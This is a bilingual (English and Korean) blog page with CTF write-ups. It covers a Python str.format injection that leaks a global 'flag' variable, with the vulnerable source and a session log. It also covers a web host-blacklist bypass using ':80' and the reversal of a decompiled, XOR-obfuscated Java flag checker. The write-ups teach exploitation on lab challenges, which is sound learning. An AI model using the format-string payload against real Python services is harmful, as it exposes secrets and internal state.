        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.

 

At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.

 

Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about  python format string grammer precisely, but there is no consistency between "quantity value" and "type value".

Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.

 

Finally, I found there is format string bug on that line.

print ('{0.quantity} x ... '+ self.type).format(self)

0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.

Thus, 0.quantity means "quantity" property of self object.

 

self.type value is inserted to the string with string concatenation, we can insert another format string.

The our custom format string will be evaluated with format function.

 

If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.

 

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

Gotcha!

We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"

 

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

 

 

한국어 풀이

 

MISC 문제이다. nc로 접속해보면 다음과 같은 메뉴들이 나타난다.

 

3번 메뉴를 선택하면, 소스코드를 알려준다.

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

 

1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.

 

소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.

 

2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.

 

print ('{0.quantity} x ... '+ self.type).format(self)

위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.

 

self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

English Write-up

 

I saw 'Newbie CTF' in ctftime, so I joined.

 

The ctf was held by korean hacking team.

 

I prefer web hacking challenges, so at the first I tried web problem.

There was only one web challenge.

 

When I clicked link, I can see a just simple single page.

 

There is nothing interesting, although I inspect the html source code.

 

We should enter the "normalflag.iwinv.net" link, via the page shown above.

 

 

I tried to enter the "normalflag.iwinv.net" link directly, and saw that warning documents.

 

I just typed the target host domain on the gate page,

the alert modal appeared, I assume the host string is blacklisted.

 

 

I analysis the http packet with burp suite.

When I typed "naver.com" to hostname field, 

the http request is like that.

 

response code is 302 redirection with some tailing "?secret=" query parameter.

 

I just concatenate the target host with that secret parameter, and try to connect directly, 

They said, it is not intended solving direction. Whenever we enter the host, the secret parameter value changes. So, I assume the secret parameter is a kind of one time ticket with randomly created.

 

I tried more with some url fragment(#123 like that) or tailng path like host.com/blur/blur but it doesn't work.

When I concatenated port number :80 to the target hostname, it looks working!

 

 

I got the flag!!

 

 

한글 풀이

 

Newbie CTF라는게 있길래 참여해봤다.

 

한국팀 주최 대회였다.

 

웹쟁이 답게 웹 문제부터 확인을 했는데, 한문제 밖에 없어서 조금 아쉽..

 

링크로 들어가면 간단한 페이지가 하나 나온다.

 

소스보기를 봐도 별 다른건 없는듯.

 

normalflag.iwinv.net라는 링크를 들어가야하는데, 저 페이지를 통해서 들어가야 하는 듯 하다.

 

 

그냥 링크로 들어가니 저런 경고문이 뜬다.

 

그렇다고 그냥 링크를 치고 들어가려니, 

호스트가 필터링 된 듯.

 

 

원리가 어떤식인가 싶어서 버프슈트를 한번 잡아보았다.

네이버로 해서 잡아보니,

요런 요청이 가고, 

 

302응답으로 Redirection이 되는데, 뒤에 ?secret=라는 파라메터가 붙어서 온다.

 

저기있는 secret을 띠어서 flag url에 박아서 보내보니

의도된 풀이가 아니라고 한다. secret이 요청 때 마다 바뀌는 걸로 봐서, 그때그때 발급하는 티켓 같은 방식인 것으로 보인다.

 

그래서 이것 저것 시도해보다가, 포트번호 :80을 붙여서 요청을 보내보았다.

 

되는 것 같았다.

Flag를 얻었다.

 

Challenge 'Bitecode' give us a simple java class file. We can simply get java class file by compiling java source code file.

On the other hand, we can simply get java source code file by decompiling java class file.

 

I can find online java decompiler site. [http://www.javadecompilers.com/]

 

There are several versions of decompiler. I tried all of them, but only second one "CFR" was working.

 

 

I got the java source code like above.

Full decompiled java source code is below.

 

/*
 * Decompiled with CFR 0.139.
 * 
 * Could not load the following classes:
 *  \u0000java.lang.System
 */
import \u0000java.lang.System;
import java.io.PrintStream;

/*
 * Class file version 45.0 predates 45.3 (Java 1.0), recompilation may lose compatibility!
 */
public class BiteCode {
    private static /* synthetic */ int a;

    /*
     * Unable to fully structure code
     */
    public static void main(String[] var0) {
        block83 : {
            block67 : {
                block82 : {
                    block77 : {
                        block81 : {
                            block54 : {
                                block80 : {
                                    block79 : {
                                        block57 : {
                                            block78 : {
                                                block74 : {
                                                    block76 : {
                                                        block75 : {
                                                            block60 : {
                                                                block73 : {
                                                                    block62 : {
                                                                        block72 : {
                                                                            block56 : {
                                                                                block71 : {
                                                                                    block64 : {
                                                                                        block70 : {
                                                                                            block69 : {
                                                                                                block68 : {
                                                                                                    block66 : {
                                                                                                        block65 : {
                                                                                                            block63 : {
                                                                                                                block61 : {
                                                                                                                    block55 : {
                                                                                                                        block59 : {
                                                                                                                            block58 : {
                                                                                                                                var1_1 = var0.length;
                                                                                                                                var2_2 = BiteCode.a;
                                                                                                                                if (var1_1 - 1 != 0) {
                                                                                                                                    (System)null;
                                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                                    return;
                                                                                                                                }
                                                                                                                                var3_3 = var0[0].toCharArray();
                                                                                                                                var4_4 = var3_3.length;
                                                                                                                                if ((var4_4 ^ 927739485 ^ 927739457) != 0) {
                                                                                                                                    (System)null;
                                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                                    return;
lbl15: // 1 sources:
                                                                                                                                    do {
                                                                                                                                        switch (var2_2) {
                                                                                                                                            default: 
                                                                                                                                        }
                                                                                                                                        java.lang.System.out.println("Yeah");
                                                                                                                                        return;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                v0 = var3_3;
                                                                                                                                if ((v0[0] ^ 189074585) - 189074673 != 0) lbl-1000: // 3 sources:
                                                                                                                                {
                                                                                                                                    do {
                                                                                                                                        if (var2_2 == 0) {
                                                                                                                                            (System)null;
                                                                                                                                            java.lang.System.out.println("Nah");
                                                                                                                                            return;
                                                                                                                                        }
                                                                                                                                        break block54;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                if ((v0[1] ^ -227215135) - -227215214 != 0) lbl-1000: // 2 sources:
                                                                                                                                {
                                                                                                                                    do {
                                                                                                                                        if (var2_2 == 0) {
                                                                                                                                            (System)null;
                                                                                                                                            java.lang.System.out.println("Nah");
                                                                                                                                            return;
                                                                                                                                        }
                                                                                                                                        break block55;
                                                                                                                                        break;
                                                                                                                                    } while (true);
                                                                                                                                }
                                                                                                                                if ((v0[2] ^ 19240864) - 19240899 == 0) break block58;
                                                                                                                                if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                                                (System)null;
                                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                                return;
                                                                                                                            }
                                                                                                                            if ((v0[3] ^ 245881291) - 245881279 == 0) break block59;
                                                                                                                            if (var2_2 == 0) {
                                                                                                                                (System)null;
                                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                                return;
                                                                                                                            }
                                                                                                                            break block60;
                                                                                                                        }
                                                                                                                        if ((v0[4] ^ 233391094) - 233390992 == 0) break block61;
                                                                                                                    }
lbl54: // 2 sources:
                                                                                                                    while (var2_2 == 0) {
                                                                                                                        (System)null;
                                                                                                                        java.lang.System.out.println("Nah");
                                                                                                                        return;
                                                                                                                    }
                                                                                                                    break block62;
                                                                                                                }
                                                                                                                if ((v0[5] ^ 56978353) - 56978378 == 0) break block63;
lbl62: // 2 sources:
                                                                                                                while (var2_2 == 0) {
                                                                                                                    (System)null;
                                                                                                                    java.lang.System.out.println("Nah");
                                                                                                                    return;
                                                                                                                }
                                                                                                                break block64;
                                                                                                            }
                                                                                                            if ((v0[6] ^ -213838484) - -213838565 != 0) lbl-1000: // 4 sources:
                                                                                                            {
                                                                                                                do {
                                                                                                                    if (var2_2 == 0) {
                                                                                                                        (System)null;
                                                                                                                        java.lang.System.out.println("Nah");
                                                                                                                        return;
                                                                                                                    }
                                                                                                                    break block56;
                                                                                                                    break;
                                                                                                                } while (true);
                                                                                                            }
                                                                                                            if ((v0[7] ^ -231671677) - -231671605 == 0) break block65;
lbl78: // 3 sources:
                                                                                                            do {
                                                                                                                if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                                (System)null;
                                                                                                                java.lang.System.out.println("Nah");
                                                                                                                return;
                                                                                                                break;
                                                                                                            } while (true);
                                                                                                        }
                                                                                                        if ((v0[8] ^ -132473862) - -132473910 == 0) break block66;
                                                                                                        if (var2_2 == 0) {
                                                                                                            (System)null;
                                                                                                            java.lang.System.out.println("Nah");
                                                                                                            return;
                                                                                                        }
                                                                                                        break block67;
                                                                                                    }
                                                                                                    if ((v0[9] ^ 143449065) - 143449053 == 0) break block68;
lbl94: // 2 sources:
                                                                                                    while (var2_2 == 0) {
                                                                                                        (System)null;
                                                                                                        java.lang.System.out.println("Nah");
                                                                                                        return;
                                                                                                    }
                                                                                                    break block56;
                                                                                                }
                                                                                                if ((v0[10] ^ 108102484) - 108102411 == 0) break block69;
                                                                                                do {
                                                                                                    if (var2_2 != 0) ** GOTO lbl-1000
                                                                                                    (System)null;
                                                                                                    java.lang.System.out.println("Nah");
                                                                                                    return;
                                                                                                    break;
                                                                                                } while (true);
                                                                                            }
                                                                                            if ((v0[11] ^ 71123188) - 71123073 == 0) break block70;
                                                                                            if (var2_2 != 0) ** GOTO lbl62
                                                                                            (System)null;
                                                                                            java.lang.System.out.println("Nah");
                                                                                            return;
                                                                                        }
                                                                                        if ((v0[12] ^ 146096006) - 146096089 == 0) break block71;
                                                                                    }
                                                                                    if (var2_2 != 0) ** GOTO lbl94
                                                                                    (System)null;
                                                                                    java.lang.System.out.println("Nah");
                                                                                    return;
                                                                                }
                                                                                if ((v0[13] ^ -173487738) - -173487628 == 0) break block72;
                                                                            }
                                                                            if (var2_2 != 0) ** GOTO lbl54
                                                                            (System)null;
                                                                            java.lang.System.out.println("Nah");
                                                                            return;
                                                                        }
                                                                        if ((v0[14] ^ -116507045) - -116507132 == 0) break block73;
                                                                    }
                                                                    if (var2_2 == 0) {
                                                                        (System)null;
                                                                        java.lang.System.out.println("Nah");
                                                                        return;
                                                                    }
                                                                    break block74;
                                                                }
                                                                if ((v0[15] ^ -68013365) - -68013319 == 0) break block75;
                                                            }
lbl143: // 2 sources:
                                                            do {
                                                                if (var2_2 == 0) {
                                                                    (System)null;
                                                                    java.lang.System.out.println("Nah");
                                                                    return;
                                                                }
                                                                break block57;
                                                                break;
                                                            } while (true);
                                                        }
                                                        if ((v0[16] ^ 171414622) - 171414529 != 0) {
                                                            do {
                                                                if (var2_2 != 0) ** continue;
                                                                (System)null;
                                                                java.lang.System.out.println("Nah");
                                                                return;
                                                                break;
                                                            } while (true);
                                                        }
                                                        if ((v0[17] ^ 94412444) - 94412524 == 0) break block76;
lbl159: // 2 sources:
                                                        while (var2_2 == 0) {
                                                            (System)null;
                                                            java.lang.System.out.println("Nah");
                                                            return;
                                                        }
                                                        break block77;
                                                    }
                                                    if ((v0[18] ^ 197453081) - 197453163 == 0) break block78;
                                                }
                                                ** while (var2_2 != 0)
lbl169: // 1 sources:
                                                (System)null;
                                                java.lang.System.out.println("Nah");
                                                return;
                                            }
                                            if ((v0[19] ^ -50622153) - -50622201 == 0) break block79;
                                        }
                                        if (var2_2 != 0) ** GOTO lbl159
                                        (System)null;
                                        java.lang.System.out.println("Nah");
                                        return;
                                    }
                                    if ((v0[20] ^ 190140381) - 190140290 == 0) break block80;
                                    if (var2_2 != 0) ** GOTO lbl78
                                    (System)null;
                                    java.lang.System.out.println("Nah");
                                    return;
                                }
                                if ((v0[21] ^ 77383944) - 77383996 == 0) break block81;
                            }
                            ** while (var2_2 != 0)
lbl192: // 1 sources:
                            (System)null;
                            java.lang.System.out.println("Nah");
                            return;
                        }
                        if ((v0[22] ^ -41590082) - -41590047 == 0) break block82;
                    }
                    ** while (var2_2 != 0)
lbl200: // 1 sources:
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[23] ^ 61204303) - 61204283 != 0) lbl-1000: // 2 sources:
                {
                    do {
                        if (var2_2 != 0) ** continue;
                        (System)null;
                        java.lang.System.out.println("Nah");
                        return;
                        break;
                    } while (true);
                }
                if ((v0[24] ^ -24637751) - -24637791 != 0) {
                    if (var2_2 != 0) ** continue;
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[25] ^ 61697107) - 61697122 != 0) {
                    if (var2_2 != 0) ** continue;
                    (System)null;
                    java.lang.System.out.println("Nah");
                    return;
                }
                if ((v0[26] ^ 267894989) - 267895017 == 0) break block83;
            }
            while (var2_2 != 0) {
            }
            (System)null;
            java.lang.System.out.println("Nah");
            return;
        }
        ** while ((v0[27] ^ -13480562) - -13480461 == 0)
lbl234: // 1 sources:
        ** while (var2_2 != 0)
lbl235: // 1 sources:
        (System)null;
        java.lang.System.out.println("Nah");
    }
}

Analyzing overall source code with peek, the java program get a single main function argument input called 'var0'

 

We can simply guess, printing "Nah" means invalid input.

The number of argument (var1_1) should be 1,

The length of first argument (var4_4) should be 927739485 ^ 927739456 => 28

 

With similar pattern, the first character of argument (v0[0]) shoudl be 189074585 ^ 189074673

The second character of argument (v0[1]) should be -227215135 ^ -227215214

 

Proceeding this work, we can easily find not only the header of flag "hsctf{", but also the rest part of the flag.

 

You can do it manualy one by one, or write a python script to extract the source code line contains the pattern like "v0[index] ^ A - B != 0" and evaluate the each letter on flag.

But I did with hand one by one.

+ Recent posts